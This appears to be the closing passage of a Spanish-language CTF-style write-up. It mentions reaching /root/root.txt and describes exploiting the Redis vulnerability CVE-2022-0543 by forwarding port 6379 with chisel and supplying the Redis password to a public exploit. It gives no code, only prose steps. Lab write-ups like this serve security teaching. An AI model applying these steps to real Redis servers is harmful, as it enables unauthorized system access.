-rw-r----- 1 root     root     33 Aug 16 09:09 /root/root.txt

Existe un exploit para la vulnerabilidad en cuestión CVE-2022-0543, el problema es que nos está el modulo redis instalado en la máquina. Así que si lo quieres probar puedes user la herramienta chisel para redirigir el puerto de redis(6379) a tú máquina y con ello explotar la vulnerabilidad con los modulos correctamente instalados

No olvides que al usar el exploit del CVE tienes que agregar al objeto redis la contraseña con la parámetro password

Aquí puedes descargar Chisel y el exploit CVE-2022-0543

This post is licensed under CC BY 4.0 by the author.